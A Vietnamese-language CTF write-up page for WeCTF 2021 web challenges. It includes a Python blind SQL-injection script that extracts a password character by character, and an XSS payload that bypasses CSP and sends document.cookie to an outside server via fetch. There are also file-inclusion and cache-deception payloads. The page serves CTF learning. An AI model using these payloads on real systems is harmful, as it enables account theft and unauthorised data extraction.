🇻🇳
th13
  • info
  • JAVA
    • Notes: RMI linh tinh
    • [CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge
  • CTF WRITE UP
    • [Web]ImaginaryCTF 2021
    • [Web]CSAW CTF 2021
    • [Web]RaRCTF 2021
    • [Web]LIT CTF 07/2021
    • [Web]redpwn 2021
    • [Web]WeCTF 2021
    • [Web]WannaGame 21/05/2021
    • [Web]San Diego CTF 2021
    • [Web]picoMini by redpwn
    • [Web]WannaGame 17/04/2021
    • [Web]picoCTF 2021
    • [Web]BambooCTF/Calc.exe
  • saved
    • Tài liệu JAV Sờ cu 101
    • [NT230]PE file Injection
    • [WU][web]root-me
    • [WU]Lord of SQLinjection
    • [WU][Web]CyberTalents
    • [exploit][sqli]Challenge ngày Tết
Powered by GitBook
On this page
  • Welcome
  • Include
  • Phish
  • CSP1
  • Cache

Was this helpful?

Edit on GitHub
  1. CTF WRITE UP

[Web]WeCTF 2021

Previous[Web]redpwn 2021Next[Web]WannaGame 21/05/2021

Last updated 3 years ago

Was this helpful?

All sources:

Welcome

Description: The flag is b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")

Base64 decode -> URL decode

Include

Description: Yet another buggy PHP website. Note: Flag is at /flag.txt on filesystem

/?🤯=/flag.txt

Phish

Description: Shou is so dumb that he leaks his password (flag) to a phishing website.

Source /add:

Đọc source thì ta thấy ở route /add có statement INSERT INTO. Đây là một chỗ mình có thể khai thác.

Ý tưởng: brute-force password của shou bằng cách insert account mới vào với password bất kỳ và username là random nếu như xét ký tự trùng với ký tự của shou, không trùng thì add username là shou để thông báo add lỗi (shou là UNIQUE).

Script:

import requests
import string

url = 'http://phish.sg.ctf.so/add'
chars = string.printable
leaked = ''


def make_username(user):
    username = 'blahblahblah' + str(user)
    return username.replace('0', 'X')


for i in range(1, 100):
    u = make_username(i)
    for c in chars:
        post_data = {
            'username': 'test',
            'password': f'''pswd', CASE WHEN substr((SELECT password FROM user WHERE username = 'shou'),{i}, 1) = '{c}' THEN "{u}" ELSE "shou" END); --'''
        }
        res = requests.post("http://phish.sg.ctf.so/add", data=post_data)
        if "Your password is leaked" in res.text:
            print(c)
            leaked += c
            break


print(leaked)

CSP1

Description: Shame on Shou if his web app has XSS vulnerability. More shame on him if he does not know how to use CSP correctly.

Tìm một hồi trog code có đoạn dị hợm này thì biết là chỗ cần exploit

Function filter_url():

Ý tưởng: ghi đè CSP script-src bằng việc chèn một thẻ <img> vào và src của image phải qua được filter.

PAYLOAD: <img src="http://a;script-src 'unsafe-inline'"><script>fetch('hostname.server?c=' + document.cookie)</script>

Submit cho checker rồi server của bạn sẽ nhận được cookie (flag) của shou.

Cache

Description: Arrogant Shou thinks Django is the worst web framework and decided to use it like Flask. To support some business logics, he developed some middlewares and added to the Flask-ish Django. One recent web app he developed with this is to display flag to admins. Help us retrieve the flag :)

Trong source code thì file wsgi.py có vẻ là file main và file asgi.py có nội dung tương tư:

Điều chú ý tiếp theo là quan tâm đến file settings.py:

Thêm 2 file được định nghĩa tại 2 biến: MIDDLEWARE và ROOT_URLCONF.

Tại đây ta có thể thấy, path ta nhập vào chỉ cần chứa chuỗi flag hoặc index thì sẽ được reponse tương ứng vì hàm re_path dùng để regex string. Cuối cùng chỉ với TOKEN admin ta mới xem được flag.

Middleware là nơi tiếp nhận tiền xử lý của request và hậu xử lý của respone trước khi đổ về controller hoặc view. __init__ được gọi chỉ 1 lần,__call__ được gọi mỗi lần request (mình tóm tắt tham khảo từ việc đọc doc).

Tại __call__ ta thấy sau khi pase path thì kiểm tra xem path đó có trong CACHE và còn expire hay không? Nếu có và còn thì sẽ return kết quả respone được lưu sẵn. Ngược lại với lần đầu path xuất hiện, muốn path được lưu vào CACHE thì phải có suffix .js .html. css (is_static TRUE). Đồng thời lúc này từ server sẽ request lấy reponse path ta truyền vào với "tư cách" admin (token admin).

Kết luận rằng, kết hợp việc endpoint flag ta chỉ cần nhập đúng regex chứ không cần chính xác và muốn có token admin thì ta phải để server request với điều kiện path nhập vào có đuôi là static file.

Payload: /flagtesthaha.css

Đợi vài giây thì flag sẽ hiển thị.

https://github.com/wectf/2021
wsgi
asgi
settings
urls
cache_middleware